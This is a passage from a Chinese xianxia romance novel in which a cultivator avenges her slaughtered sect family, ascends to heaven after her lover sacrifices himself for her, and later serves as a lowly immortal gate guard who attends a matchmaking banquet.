谢灼:“!”
他没想到她承认得如此干脆利落,愣了好一会儿,才又低声道:“那你以后……会不会后悔?”
沈祭雪静静地看着他,认真思考他的问题。然后,她开口:
“我酒量不错,昨夜也并没有喝醉。”
谢灼一愣。
她继续道:“亲你的时候,感觉很不错。”
谢灼的眼睛一点点亮起来。
然后,沈祭雪用最正经的表情,说出了最大胆的话:“而且,现在想想也很高兴。”
她顿了顿,看向他,眼里莫名带了些期待:“所以,找个时间再来一次。可以吗?”
谢灼:“……”
他彻底僵住了,所有的忐忑不安,怀疑猜测,在她这番言论面前,显得可笑又多余。
脸颊耳根不受控制地开始发烫,谢灼猛地别开脸,抬手抵在唇边,低低地咳嗽了一声,试图掩饰自己瞬间失控的心跳。
这这这……这人怎么完全不按常理出牌啊!
就在这时,院门外传来一阵轻快的脚步声,还伴随着一声清越的呼唤。
“小祭,我回来了!”
一道身影风风火火地踏入院子。来人一身靛蓝色衣裙,身形高挑,云鬓微松,斜插着一根乌木簪,眉眼间带着几分倦色,是沈荷。
“师父。”沈祭雪转身,恭敬行礼。
谢灼也迅速收敛了心神,拱手道:“前辈。”
沈荷目光在两人身上扫了一圈,眼中掠过一丝了然的笑意,并未多问,只是道:“正好,谢小子也在。省得我再去寻你。”
她神色稍正,说道:“我刚从江左一带回来。那边似有旱魃作祟,河流干涸,田地龟裂,当地修士束手无策,向我们求援。”
旱魃乃致旱之怪,所行之处赤地千里,忽而出现,颇为蹊跷。
沈祭雪闻言,神色一凛:“师父的意思是?”
“你带几个人去一趟,查明情况,若能解决,便为他们除去祸患。”沈荷看向沈祭雪,又瞥了眼谢灼。
“谢小子若是有空,便同小祭一起去吧,彼此有个照应。”
谢灼道:“自然。”
“好,事不宜迟,你们准备一下,今晚出发。”沈荷摆摆手,吩咐道。
临行前,沈荷将沈祭雪叫进了自己的屋子。
房门一关,沈荷抱着手臂,似笑非笑地看着自己的徒弟:“说说吧,你跟谢灼,怎么回事啊?我怎么瞧着气氛不太对劲。”
沈祭雪倒是没有任何扭捏,答道:“我们表明心意,亲了。”
饶是沈荷做了心理准备,也被她这过于直白的回答噎了一下。
她咳嗽两声,稳住表情,忽然笑了起来,“行吧,你们年轻人的事……既然如此,等你们从江左回来,若彼此心意未变,师父给你们办道侣大典。”
沈祭雪闻言颔首,唇角微扬,应道:“好。”
“去吧,万事小心。”沈荷挥挥手。
“弟子告退。”沈祭雪行礼,转身退出了房间。
来到院中,谢灼正等着她,见她出来,挑眉投来询问的眼神。
沈祭雪走到他面前,看了他一眼,无奈道:“师父问我们怎么回事。”
谢灼心一提:“你怎么说?”
“我照实说了。”
谢灼:“……”
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>“然后呢?”他追问,心里莫名有些紧张。
沈祭雪继续道:“然后,师父说,等我们从江左回来,就办道侣大典。”
谢灼猛地怔住,瞳孔微微放大,几乎不敢相信自己的耳朵。
他一时失语,愣愣地看着沈祭雪。
沈祭雪看着他,偏了偏头,似乎有些不解:“你不愿意?”
“不不不不,愿意,当然愿意。”
“那就好。”
……
江左的情况比预想的更为严峻。
那旱魃是由古战场积聚的怨气与地火结合所生。大地干裂,禾苗枯焦,烈日灼灼,空气中弥漫着绝望焦灼的气息。
两人抵达后,并未费太多周折便寻到了它的踪迹,战斗也并无太多悬念。
沈祭雪一剑洞穿了旱魃的胸口,将其生机彻底斩灭,笼罩在江左的炽热渐渐消散。
当地的百姓感激涕零,想要酬谢二人,却被他们婉拒。
年关将近,事情已了,两人启程返回。
途经一处繁华城镇,谢灼忽然停下脚步,对沈祭雪道:“……我想先离开几日。”
沈祭雪看向他。
谢灼笑了笑,眼底带着抑制不住的明亮光彩:“那个……道侣的事……我想告知几个好友,顺便……备些礼物。”
沈祭雪看着他,点了点头:“好。”
两人在江左境外分别。
沈祭雪独自一人回到沉鱼峰时,正值黄昏。
夕阳的余晖将雪地染上淡淡的暖橙色,山林寂静。
然而,越靠近峰顶的院落,她心中那股莫名的违和感就越重。
太安静了。
往日这个时候,沈溪应该在厨房忙碌,双胞胎或许在院中练剑嬉闹,沈二十三在一旁指导,沈闻琴或许在廊下擦拭他的琴……
但此刻,没有炊烟,没有声响,只有一片死寂。
空气中,似乎隐隐飘散着一股……若有似无的血腥气。
沈祭雪的脚步顿住了。
她站在院外,缓缓推开了门。
入眼是极刺目的红色。
院子里,一片狼藉。
桌椅翻倒,沾满了暗红色的血渍。
沈二十三倒在她平日里练功的地方,身下一大片血泊,双目圆睁,手里还紧紧攥着半截断剑。
双胞胎倒在通往屋子的台阶上,身体蜷缩着,身下的血色触目惊心,木剑落在一旁。
沈溪倒在厨房门口,手里还抓着一把择了一半的野菜,鲜血染红了地上的积雪和枯叶。
更远处,沈闻琴倚在廊柱上,胸口一个巨大的血洞,早已气息断绝,脸上还带着惊愕与不甘。
所有人……都倒在了血泊里。
满地血腥,惨烈得如同炼狱。
夕阳的余晖洒落下来,却带不来丝毫暖意,只有一片死寂的冰冷。
沈祭雪站在原地,白衣在风中微微拂动。她看着眼前的一切,脸上没有任何表情,眼中只有一种极致的空茫。
她慢慢地,一步一步地走进院子,踩过凝固的血泊,俯下身,探向离她最近的沈二十三的颈侧。
冰冷。僵硬。
没有任何生机。
她又探向双胞胎,探向沈溪,探向沈闻琴……
全都一样。
她缓缓直起身,站在庭院中央,寒风卷过,吹动她白色的衣袂。
沈祭雪站在原地,一动不动。
整个世界的声音仿佛都消失了。
耳畔只剩下一片沉寂。
和眼前那片,铺天盖地的,粘稠的,冰冷的红。
22. 飞升
沈祭雪在那里站了很久。
直到夕阳彻底沉入山脊,暮色四合,最后一丝光亮也被夜色吞噬。
她一动不动,仿佛化作了冰雕雪塑,唯有衣袂在寒风中偶尔拂动。
夜深了。
她动了动僵硬的手指,眼中没有泪水,只有一种近乎麻木的执拗。
一个,两个,三个,四个,五个。
她用了大半夜的时间,垒起了五座新坟。没有棺木,她就用干净的衣物仔细包裹了每一具冰冷的身体,将他们轻轻放入土坑,仔细掩埋,抚平坟土。
做完这一切,天际已泛起了微光。
她坐在坟冢之间,背靠着墓碑,取出了酒囊。酒液辛辣,滚过喉咙,却暖不透心底的冰冷。
她想起很多年前,也是这样一个寒冷的时节。她途径一个村落,恰遇邪祟作乱,她出手斩了那妖物。村民起初感激涕零,将她奉若神明。
可不久后,他们发现她伤势愈合极快,容颜数年不改,惊恐便取代了感激,视她为不祥的怪物,举着锄头柴刀将她驱逐。
天地茫茫,无处可去。
那时才十多岁的沈荷,穿着不合身的宽大衣衫,发现了坐在破庙角落里的她。
沈荷歪着头看了她好久,然后伸出手,眼睛亮晶晶的:“你看起来好厉害。跟我回去吧?我那里有地方住,就是有点吵,孩子多。”
于是她跟她走了。
沉鱼峰上的小院,有炊烟,嬉闹,练剑声,琴音……还有沈荷总是带回来的,新的孩子。
沈荷说:“小祭啊,我不太会照顾人,你要帮帮我呀。”
她学着去照料他们。看着那些孩子一点点长大,叽叽喳喳,吵闹无比,却又真实鲜活。
他们无声地渗入她冰冷漫长的生命,成了不可或缺的一部分。
如今,活生生的人,全都化作了眼前冰冷的坟冢。
酒囊空了。
沈祭雪抬起手,指尖轻轻拂过冰冷的墓碑,触感粗糙而真实。
空气中的血腥气早已被寒风吹散,她站起身,积雪在她脚下发出轻微的咯吱声。
她最后看了一眼那五座新坟,转身,一步步走下沉鱼峰,向着主峰的正殿走去。
合欢宗宗主柳烟刚起身,便听得弟子急报,说沈师姐来了,但瞧着有些不对劲。
柳烟迎了出去,“祭雪,你这是……”
“沉鱼峰被屠尽了。”沈祭雪冷声道,“所有人都死了。”
柳烟倒吸一口冷气,脸色瞬间煞白,踉跄了一下,几乎站立不稳:“什,什么?!谁干的?!这怎么可能!”
沈祭雪看着她,说道:“我要下山。”
她顿了顿,一字一句,清晰无比,“让他们以命偿命,以血偿血。”
柳烟被她话里的森冷杀意激得一个寒颤,下意识地问:“你,到,到何处去寻仇敌?”
沈祭雪默然片刻,抬眼:“九幽宗。”
九幽宗的功法狠辣独特,那里残留的些许灵力,纵然有意掩藏,也瞒不过她。
柳烟看着她,心中涌起巨大的恐慌,张了张嘴,无力阻止,最终只干涩地道:“……你,万事保重。”
她深知沈祭雪的性子,一旦认定,绝无转圜余地。更何况是这般血海深仇。
沈祭雪对她道:“无论最后结果如何,都是我叛出宗门,一人所为,与合欢宗众人无关。”
柳烟沉默着点了点头,看着她转身离去。
九幽宗山门气势恢宏,黑沉沉的大殿矗立在群山之中,透着森然之气。
守门弟子见到沈祭雪孤身前来,正要呵斥,却在对上她眼睛的刹那,如坠冰窟,一个字也说不出来。
沈祭雪沉声道:“转告你们宗主,让他交出昨夜屠戮沉鱼峰弟子的凶手。”
九幽宗弟子闻言先是一愣,随即大怒:“你这妖女休要血口喷人!什么屠戮?我九幽宗岂会做这等事!”
“你们合欢宗不过一群自甘堕落的贱人!死了便死了,与我等何干!竟还敢来我山门攀咬!”
应和嘲讽之声四起。
沈祭雪静静听着,“交出凶手,可保全其他人性命。”
“若不交,”她顿了顿,目光扫过眼前一众九幽宗弟子,“那你们就一起去死。”
“狂妄!”九幽宗弟子暴怒,手腕一抖,一条漆黑的长鞭如毒蛇般抽出,直袭沈祭雪面门,“给我拿下这个妖女!”
长鞭黑影重重,眨眼间,九幽宗弟子结阵攻来。
沈祭雪的身影在白与黑的光影交错中穿梭,剑光如雪,冰冷而迅疾。
一剑毙命。
她说到做到,像是只为杀戮而存在,从日正当空,到夕阳西下,再到月色凄迷。
所有的惨叫声,怒吼声,……最终都归于死寂。
九幽宗内,尸横遍野,血流成河,鸡犬不留。
沈祭雪的白衣已被鲜血彻底染红,黏腻地贴在她身上。
她站在尸山血海之中,缓缓抬头,看向悬挂在残破大殿上的黑底金边牌匾——九幽宗。
她抬手,剑尖轻挑。
那沉重的牌匾轰然落下,砸在堆积的尸体上,碎裂成几块。
沈祭雪忽而极轻地笑了一下。
山门外,已聚集了不少闻讯赶来的修士,以药宗和凌云宗之人为多。
他们看着眼前的修罗炼狱景象,看着那个从血海中走出的红衣女子,个个面色惨白,目瞪口呆,如同见到了从地狱爬出的罗刹。
“魔头!妖女!”有人惊恐万状地嘶喊出声,“你,你竟屠戮一整宗!如此狠毒,天理不容!”
其余修士们反应过来,惊怒交加,纷纷厉声斥骂,声音却带着难以掩饰的恐惧和颤抖。
沈祭雪缓缓转过身,目光扫过那些义愤填膺却又不敢上前的众人,如同看着一群嘈杂的蝼蚁。
她对这些斥骂置之不理。
她的目光穿过人群,落在了药宗宗主身上。他穿着清雅的道袍,身形清瘦,面容上看不出太多情绪。
她开口,声音低哑,“我知道,你去过沉鱼峰,沈荷在哪?”
药宗宗主微微一怔,旋即叹了口气,语气带着几分温和与无奈:“沈荷,她确实在我药宗休养。放心,药宗绝不会伤害她分毫,待她伤势好转……”
话未说完,沈祭雪慢吞吞地向他迈了一步。
仅仅一步,却让在场所有人如临大敌,气氛瞬间紧绷至顶点。
一道身影挡在了药宗宗主身前,是洛逢春。
他手持长剑,眉头紧锁,眼神复杂:“沈姑娘,事已至此,你还待如何?”
沈祭雪看着他,默然片刻,道:“我若要做什么,你以为你能拦得住吗?”
洛逢春脸色一白,握剑的手紧了紧。
她的目光越过他,再次看向药宗宗主,声音极轻:“好好照顾她。”
“这妖女疯了!随我剿杀此寮!为九幽宗枉死的同道报仇!”不知是谁喊了一声,惊醒了被骇住的众人。
瞬间,各色法宝光芒亮起,术法剑光如同暴雨般向力竭的沈祭雪倾泻而去。
她挥剑格挡,但体力与灵力早已透支,身上不断添上新
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伤,鲜血淋漓,动作不可避免地迟缓下来。
就在一道泛着绿芒的长剑即将刺穿她心口的刹那,一道炽烈的流光从天边疾驰而至,猛地格开那道攻击,将沈祭雪紧紧护在怀里。
谢灼看着怀中人浑身是血,气息奄奄的模样,心脏几乎停止跳动:“沈祭雪!”
他抬头,看向围攻的众人,心中急怒,周身气息暴涨,竟将众人逼退数步。
谢灼打横抱起沈祭雪,身化流光,不顾一切地冲破阻拦,向着远山疾遁而去。
他将她带至一处隐蔽的山谷空地,小心翼翼地将她放下,手忙脚乱地想要为她止血疗伤。
沈祭雪却轻轻按住他的手,摇了摇头。
她的脸色苍白如纸,唇色泛青,不少人的剑都淬了剧毒,如今早已深入肺腑,灵脉俱损。
“没用了……”她声音微弱,眼神却异常清明,安抚道,“不必白费力气。”
“我今日来此,本也没想过活着出去。”
“谢灼,现在就是最好的机会,杀了我,你就可以飞升。你……动手吧。”
谢灼的手颤抖得厉害,眼眶通红,泪水终于无法抑制地滚落下来,砸在她冰冷的脸颊上。
他没去理会她的话,只徒劳地将灵力输入她体内,始终无法得到灵脉应和。
沉默良久,谢灼似乎下定了决心,手中现一把短刃。刃身古朴,却流淌着异常强大的灵力波动。
沈祭雪微微一笑。
下一刻,他握住沈祭雪冰凉的手,让她的手指紧紧握住刀柄,而另一只手,则引导着刃尖,对准了自己的心口。
“沈祭雪,”他看着她,眼神出奇地温柔,“看着我。”
沈祭雪涣散的目光凝聚在他脸上,明白了他要做什么,曈孔骤缩,“你疯了吗?谢灼,松手!”
谢灼笑了笑,握着她的手,猛地将短刃刺入自己的胸膛!滚烫的鲜血瞬间涌出,染红了他和她交握的手。
谢灼的身体剧烈地颤抖了一下,脸色瞬间灰败下去,倾尽最后一丝力气,低下头,吻上她冰凉的唇。
一触即分。
“没事的,你不会死的,沈祭雪……你要……飞升成仙……万载不朽……”
随着他话音落下,那把短刃爆发出璀璨无比的光芒,将两人彻底笼罩。一股庞大而精纯的力量,疯狂地涌入沈祭雪的身体。
剧毒被净化,受损的灵脉被重塑,灵力在她体内奔腾汹涌,瞬间冲破那道凡人无法逾越的天门关隘!
沈祭雪只觉得身体一轻,仿佛所有的桎梏都被打破,前所未有的浩瀚力量充盈着四肢百骸,伤势瞬间痊愈。
天际祥云汇聚,仙乐缥缈,一道光柱轰然落下,笼罩住她。
她被那不可抗拒的力量牵引着,脱离凡尘,最终停在了云雾缭绕的玉京台上。
光芒散去,她踉跄了一下,猛地抬头,眼中是未散的惊痛与茫然。
沈祭雪挣扎着想要循着来路返回。
“仙子请留步。”天界守卫现身,横戈拦住了她,“一旦飞升,便与凡世尘缘再无瓜葛。此乃天规。”
沈祭雪像是没听见,死死盯着下界的方向,守在那里,不肯离去。
不知过了多久,又一道飞升仙光落在玉京台上。
光华散去,露出洛逢春的身影。他周身气息澄澈,看向守在原地的沈祭雪,眼中闪过一丝复杂的情绪,随即恢复了平静。
沈祭雪也看到了他。
四目相对,一个悲痛欲绝,一个平静无波。
许久,洛逢春向她缓步走来,伸出了手。
23. 月老
洛逢春周身气息圆融通透,看着沈祭雪,心中并无多少波澜。
飞升之时,他已依循指引,饮下了忘尘水。
那水清澈甘冽,入喉便化作暖流,将凡尘数年间的恩怨情仇,谋算挣扎,一一涤荡,最终只留下一些模糊印象。
他记得自己曾是凌云宗的翘楚,记得眼前这女子是故人,但具体的细节,情感的牵绊,都已淡去。
飞升成仙,超脱轮回,过往种种,皆是虚妄。
至于为何要向她伸手,也许是因为怜悯,也许只是一时兴起,他自己也不清楚。
沈祭雪静静地看着他,一动不动。
许久,洛逢春对着沈祭雪微微颔首,收回了手,姿态从容,随着前来引路的仙侍,向着司禄府走去。
洛逢春的背影很快消失在缭绕的仙云之中。
玉京台上落了雪,晶莹剔透,落在身上,却带来刺骨的寒意。
守卫们纷纷退至廊下避雪,沈祭雪依旧一动不动地站在那里。
她在等。
风雪愈大,天地间白茫茫一片。
她的神识前所未有的清明,屏息凝神,仔细感应着下界细微的波动。
天上一日,尘世一年。
天界时间业已流逝,凡间想必过去了数月甚至更久。
凡尘之中,再无谢灼的气息。
沈祭雪缓缓闭上眼,再睁开时,眸中已是一片荒芜。
她转身,走向一直静立远处的天界守卫,声音干涩:“忘尘水。”
守卫似乎早已料到,默然取出一只玉瓶递给她。瓶中之水清澈见底。沈祭雪没有犹豫,仰头一饮而尽。
水流过喉,清凉之意直冲灵台。
凡尘的记忆,撕心裂肺的痛楚,刻骨铭心的爱恨,开始迅速褪色,模糊,最终,化为一片混沌。
饮下忘尘水,便是彻底了断前缘。她跟着守卫,前往司禄府领取仙职。
司禄府仙官查阅了她的飞升记录,又仔细感应了她周身的气息,眉头紧锁。
仙官与同僚低声商议片刻,最终,拿起一块戊字玉牌,随手递了过去,语气带着几分可惜:“修道根基虽稳,功德业已将满,可惜功亏一篑,煞气缠身,又是无情道途……”
“你先去南天门历练历练,磨磨性子吧。”
沈祭雪接过那块玉牌,依言转身,向着南天门的方向走去。
南天门,并非单指一座门,而是仙界与其余各界交汇处的一片广阔区域,有数重门户需要守卫。
不但灵气稀薄,事务繁杂,还往往受人轻视,多是些刚飞升,无背景的仙者被分配到这种地方。
驻守此地的小仙们,仙阶也都在戊等,只偶有丁等仙者担任小头目。
眼下四海升平,天界久无战事,小仙们每日除了例行巡视,核查往来令牌,便是打坐修炼。日子漫长而枯燥。
沈祭雪的到来,起初引起了一阵不小的骚动。她容貌极盛,即便态度冷淡,也难掩风华。
有小仙试图与她搭话,沈祭雪只是淡淡瞥了一眼,并不回应。久而久之,大家便习惯了她的沉默寡言,只当她是个古怪的同伴。
仙寿漫长,各有各的活法。
三百年光阴,弹指而过。
南天门依旧云来雾往,看守却换了一茬又一茬。
沈祭雪还在看大门。她的修为虽缓慢增长,但仙阶始终停留在戊等。
在天界呆久了,她也逐渐清楚了这地方的些许规则。
如今天界掌权者是曦和与望舒二位仙君,一主昼,一司夜,威严深重。其余仙人,仙阶分甲,乙,丙,丁,戊五等,晋升之路艰难。
想要提升仙阶,最正统的途径,是去司命仙君处领取历劫名额,投入凡间,经历悲欢离合,磨砺道心。
当然,历劫名额有限,且竞争激烈,也并非所有仙人都愿意下凡。
像他们这些戍守南天门的末流小仙,连申请历劫的资格都没有。
日子如同死水般过去,无波无澜。
这日,又到了轮值休憩的时辰。
几个相熟的小仙聚在南天门一侧的云台上闲谈。
仙界的天空正呈现出黄昏的暖橙色,流云舒缓。
“唉,这日子何时是个头啊?天天对着这些云啊门的,我都快忘了欢喜是什么滋味儿了。”一个小仙抱怨道。
“知足吧你,好歹仙寿无忧。想想下界那些修士,苦苦修练,还未能飞升,说不定哪天就身死道消,前功尽弃了。”另一个年长些的小仙捋着胡须道。
“诶,对了,说起仙寿,你们可知,咱们天界,除了曦和,望舒二位仙君,还有一位品阶极高,却几乎不管事的尊神?”
开头说话的小仙忽然压低声音,神秘兮兮地说。
“哦?谁啊?”几人瞬间被勾起了兴趣,催促他讲。
“离妄帝君啊!”那小仙得意道,“这位帝君可很是神秘。据说他的法力比二位仙君还高半筹,但整日深居简出,极少露面,天界大小事务一概不理。”
“还有这等人物?为何我等从未见过?他既然不管事,又为何品阶如此之高?”有人疑惑道。
小仙眨眨眼,卖了个关子:“你们猜是为何?”
众人摇头。
“据说啊,”小仙将头往前伸了伸,声音压得更低,“这位离妄帝君,并非像我们一样,是修炼飞升,而是……天生天养的神仙!与天地同寿,甚至可能比咱们这天界存在得还早啊!”
“天生的神仙?”众人咂舌不已,“那得是活了多久啊……”
“可不是嘛!听说他居住的地方,连二位仙君都轻易不敢打扰呢……”
小仙们的窃窃私语,顺着微风,飘入沈祭雪耳中。
……原来在天界活得久,便会被奉为尊神么?
如此说来,神龟一族,岂不是得天独厚,终有一日要同曦和望舒二位平起平坐了?
……嗯,好像是这个理儿。
她正琢磨着,忽而一道火急火燎的红色身影冲到了她面前,带起一阵甜腻香气。
“哎哟喂!可算找到个好看的小仙了!”
来人是个红光满面的胖老头,须发皆白,身穿绣满了并蒂莲花的锦袍。腰间挂着了红艳艳的线团,是天界司管姻缘的月下仙人。
沈祭雪淡淡瞥了一眼,问了声好。
她与这位爱热闹的神仙素无交集,此刻也以为他是认错了人。
不料下一刻,月老却一把抓住她的手腕,语气急促,道:“小仙子,快快快!帮个忙!今日老朽那姻缘殿举办千年一度的姻缘宴,请帖都发出去了,结果好几个貌美的女仙临时告假……”
“如今场内阴盛阳衰……不对,阳盛阴衰得厉害!小仙子你生得这般貌美,快帮我去撑撑场子!”
沈祭雪微微蹙眉,试图抽回手,却发现月老抓得死紧,无奈道:“月下仙人怕是找错人了。我无意寻找道侣,亦不喜喧闹。”
“知道!知道!”月老连连点头,脸上堆满了恳求的笑,“放心,老朽不是让你去找道侣。就是去坐着,帮老朽我充充场面。”
“也好显得我姻缘殿仙子如云,资源丰富,前景广阔!完事儿后,老朽记你一个人情,下次司禄府考核,说不定能帮你说上句话!”<
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沈祭雪抬眼,看向月老那焦急的脸,终是叹了口气。
“只是充场面?”她确认道。
“当然!你,你就吃点仙果,喝点琼浆,有人搭讪你就……你就随便应付两句,或者干脆不理都行!只要你人在那儿,老朽就记你一份恩情!”
月老拍着胸脯保证。
这事听起来对自己也没什么坏处,沈祭雪想了想,答应下来。
月老顿时喜笑颜开,拉着她驾云而起,速度飞快,生怕她反悔。
姻缘殿繁花似锦,还未靠近,便已闻到浓郁的花香。殿内更是张灯结彩,红绸飘飞,宾客如云。
仙娥们衣袂飘飘,端着美酒佳肴穿梭其间,众多男仙,女仙三三两两聚在一处,谈笑风生,气氛热烈。
尽管如此,沈祭雪甫一出现,还是吸引了不少目光。
她身上有种与周遭格格不入的冷冽,在这一片姹紫嫣红中,显得格外突兀。
月老将她安排在一个相对僻静的角落案几后,低声叮嘱了一句“坚持住!”随即又跑开,火急火燎地去招呼其他宾客。
沈祭雪依言坐下,脊背挺直,目不斜视,只盯着面前案几上那盘晶莹剔透的葡萄发呆。仿佛盯久了,葡萄就能开出花。
她尽力降低自己的存在感,希望这场宴会能尽快结束。
然而,事与愿违。
一位身着丙等仙官服饰,面容清秀的男仙,端着酒杯,到了沈祭雪面前。
“这位仙子面生得很,不知在哪处仙府修行?在下乃司雨仙官座下……”
沈祭雪看着他,只淡淡吐出两个字:“戍门。”
男仙一愣,显然没料到是这么个答案。
他干笑两声,试图挽回:“戍守南天门?辛苦,辛苦。仙子风姿卓越,在此等岗位,实在是委屈了。不知可否赏脸共饮一杯?”
“抱歉,我不善饮酒。”沈祭雪眼眸沉静,声音冷淡。
男仙碰了一鼻子灰,脸色有些难看,悻悻地走了。
没过多久,第二位又来了。这次是位自来熟的丁等仙官。他向沈祭雪打了个招呼,闲聊两句,便开始引经据典,从星宿运行谈到缘分天定。
沈祭雪耐着性子听了许久,听得快打嗑睡,闻言终于抬起眼:“仙官既知缘分天定,强求无益,又何必勉强。”
仙官被她的眼神冻得一哆嗦,举了举杯,讪讪退下。
接着是第三位,第四位……有委婉示好的,有直白夸赞的,有向她炫耀仙阶法宝的。
沈祭雪使出了浑身解数应对。装聋作哑,答非所问,直接无视,总算将这些攻势一一化解,眼烦心累。
就在她打发完人,准备继续与那盘葡萄相看两厌时,又一道身影在她对面坐了下来。
来人从容落座,抬手为自己斟了一杯琼浆,动作行云流水,姿态优雅。
沈祭雪抬眼望去。
映入眼帘的是一张俊美的面容,眉眼含笑,气质温润,身着乙等仙官的云纹锦绣袍。
沈祭雪心神微微一怔,这张脸,竟让她觉得有些熟悉。
洛逢春看着她,唇角微扬,举杯示意,开口道:“仙子似乎不喜此间喧闹?”
他的声音温和悦耳,令人如沐春风。
沈祭雪看着他那双含笑的眼睛,隐约记起来,这人于她而言,也算是故人。
只是饮下忘尘水,前缘已断。此刻的他,与之前那些仙官,并无区别。
她微微颔首,理所当然地答道:“嗯,所以,仙官既知我厌烦喧闹,还是不要再来烦我了。”
洛逢春举着酒杯的手,瞬间僵在了半空。
24. 孤寂
飞升以来,洛逢春自认在天界人缘颇佳,一路高升,何时受过这等直白的驱逐。
他缓缓放下酒杯,指尖在杯沿轻轻摩挲,眼中的笑意淡去几分。
“仙子,”洛逢春的声音依旧温和,“洛某可是在何处,无意中得罪过仙子?为何仙子对旁人尚能敷衍一二,对洛某却似乎……格外厌烦?”
沈祭雪皱了皱眉,实话实说:“不知。”
顿了顿,许是觉得这两个字太过生硬,看了他一眼,又补充了一句,“或许,只是单纯看仙官不顺眼。”
洛逢春就是涵养再好,闻言,嘴角也忍不住抽了抽。
他放下酒杯,叹了口气,觉得自己的仙生遇到了前所未有的挑战。
正当他犹豫着是该继续追问下去,还是干脆拂袖而去,保全已经所剩无几的颜面时——
“轰!”
一声沉闷的巨响,猛地从远处传来。
整个姻缘殿随之一震,梁柱微微晃动。殿内谈笑声戛然而止。
紧接着,远处传来更为清晰的爆裂声,仿佛有什么东西正在崩塌。
“怎么回事?”
“何处传来的动静?”
“莫非是曦和仙君的炼丹房又炸了?”
天界承平已久,何曾有过这般动静。
仙人们纷纷起身,面露惊疑。月老脸上的笑容也僵住了,掐指一算,脸色微变。
一名仙侍慌慌张张地从殿外飞奔而入,也顾不得礼仪,喊道:“是,是不识月那边!离妄帝君!离妄帝君历劫归来了!”
此言一出,众仙的八卦之心瞬间压过了惊疑。
显然,比起追究这动静是什么东西,大家对这位传说中的帝君更为好奇。
“快去看看!”
“不识月……那可是帝君清修之地,竟弄出这般动静,莫非历劫出了岔子?”
“机会难得,说不定能一睹帝君真容!”
方才还觥筹交错的仙人们,此刻也顾不得什么姻缘宴了,纷纷起身,化作道道流光,争先恐后地朝着不识月的方向而去。
看热闹,尤其是看这等大人物的热闹,乃是六界生灵的通性,仙人亦不能免俗。
月老急得直跺脚,却也拦不住,只好也跟着人群往外跑,嘴里念叨着:“哎哟我的宴席!帝君啊帝君,您什么时候回来不好……”
洛逢春看了一眼沈祭雪,转身随着人流离去。
方才还热闹非凡的姻缘殿,转眼间只剩下杯盘狼藉。
沈祭雪坐在角落里,闭了闭眼,终于松了口气,久违地得了清静。
一名仙童气喘吁吁地跑过来,对她行了一礼:“仙子,月下仙人说今日多谢仙子相助,人情他记下了。”
“眼下帝君归来,动静颇大,仙人需前去应对,无法亲自相送。请仙子自便。”
“另外……仙人说,帝君归来乃是大事,仙子不妨也去看看热闹,或许……或许能得些机缘,沾点祥瑞之气呢?”
仙童说完,莫名有些心虚。
这理由,他自己听了都觉得牵强。若不是月老方才拉着他再三吩咐,……打死他也不会说的。
沈祭雪要回南天门,本就会途径不识月。她站起身,应了一声:“好。”
不识月位于天地未分的混沌边界,平日里鲜有人至,此时却早已被里三层外三层围得水泄不通。
沈祭雪选了个最边缘的云头,远远望去。
不识月此刻已看不出丝毫殿宇的模样,更像是一片废墟。
断壁残垣上覆盖着殷红的术法痕迹,空气中弥漫着冰冷狂躁的气息。而在那片废墟中央,站着一个人。
那人身姿挺拔,穿着一袭玄色长袍。面上覆盖着一副金制的面具,遮住了大半张脸,只露出线条分明的下颌和淡色的唇。
发丝及地,如同流淌的月华。眸色是罕见的浅银,淡漠地扫视周围跪倒一片的仙人。
曦和与望舒闻讯匆忙赶来,对着废墟中的离妄帝君躬身行礼。
“恭迎帝君历劫归来。”
离妄帝君微微颔首。
沈祭雪落在最边缘,目光穿过层层人群,落在那位帝君的身上。
一种极其古怪的感觉,毫无征兆地攫住了她。
这人,看着很熟悉。
与看到洛逢春时那点微不足道的涟漪截然不同,这次熟悉的感觉更沉,更锐利,也更清晰。
可当她试图去捕捉那熟悉感的来源时,记忆中却又是一片空白。
许是她的目光太过专注,离妄微微蹙眉,似有所觉,越过层层人群,看了过来。
沈祭雪怔了怔,后知后觉自己僭越了,垂下眼眸,不敢再看。
离妄瞥了她一眼,漫不经心地移开视线。
沈祭雪默了默,转身悄然离去。
又过了许久,不识月周遭看热闹的仙人被曦和与望舒挥手屏退,只留下几位心腹仙侍远远候着。
离妄站在原地,望着远方混沌的天地界限,玄色衣袍微动,月华般的银发愈发醒目。
望舒仙君清了清嗓子,面上带着几分无奈,率先开口:“离妄,你这次……归来的气势,是否稍微……磅礴了些?”
她斟酌着用词,目光扫过四周的断壁残垣,“这不识月,虽说地处偏僻,但也是天界,你看这……”
曦和仙君上前一步,打断了她的话:“离妄,你说你,每次历劫回来就不能动静小点吗?上上次惹得银河倒灌,上次震裂了天河堤岸,这次倒好,直接把自己的殿宇给炸了!”
“我同望舒匆匆赶过来,还以为是哪个不长眼的魔族来天界撒野,结果又是你!”
他越说越气:“你知不知道修缮殿宇要耗费多少天材地宝?要动用多少仙工力士?这地方混沌气息不稳,一个不小心,引动煞气乱流,又是一堆麻烦!”
离妄终于转过头,目光落在曦和的脸上,淡淡地开口:“几百年不见,你怎么还是这么聒噪。”
仅仅一句话,就让曦和仙君的抱怨卡在了喉咙里,他瞪大眼睛,又气又怒:“你!”
望舒见状,连忙打圆场,上前一步挡在曦和身前,对着离妄道:“帝君勿怪,实是……天界承平已久,骤然有此巨响,难免引起恐慌。”
“再者,帝君你安然归来乃是喜事,但若因此,居所残破,无家可归,天道怪罪下来,又是我等的过错。”
望舒顿了顿,向他试探着问道:“帝君,这不
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识月需得尽快修缮,不知是要沿用旧制,还是……”
离妄的目光再次投向那片废墟,道:“无需繁琐,稳固便可。”
曦和仙君在一旁哼了一声,问道:“那你如今住哪儿?总不能在这废墟里打坐吧?要不暂时去她的望舒宫或者我的炎阳殿将就一下?”
离妄帝君摇了摇头:“不必。”
他抬手,随意指向废墟边缘一处尚且完好的偏殿角落,那里似乎原本是一处静室,此刻虽蒙尘,但结构尚存。
“此处即可。”
曦和与望舒对视一眼,都从对方眼中看到了无奈。这人的性子,一如既往的难以捉摸。
曦和看着他的背影,叹了口气,对望舒小声道:“每次他回来,我都觉得我要少活几十年。”
望舒苦笑着摇头。
次日,沈祭雪照常在南天门当值,接到了来自司禄府的调令。
调令的内容很简单:即日起,调戊等仙者沈祭雪,前往落云烟值守。
落云烟位处天界极北,靠近天河尽头,灵气稀薄,终年云雾缭绕,人迹罕至。
在那里看大门,恐怕一年也见不到几个活物,比南天门还要清冷百倍。
沈祭雪蹙眉。
想来是昨日姻缘宴上,自己态度恶劣,得罪了人。故而暗中示意司禄府给了惩戒。
不论如何,她仙阶低下,也无从申辩。
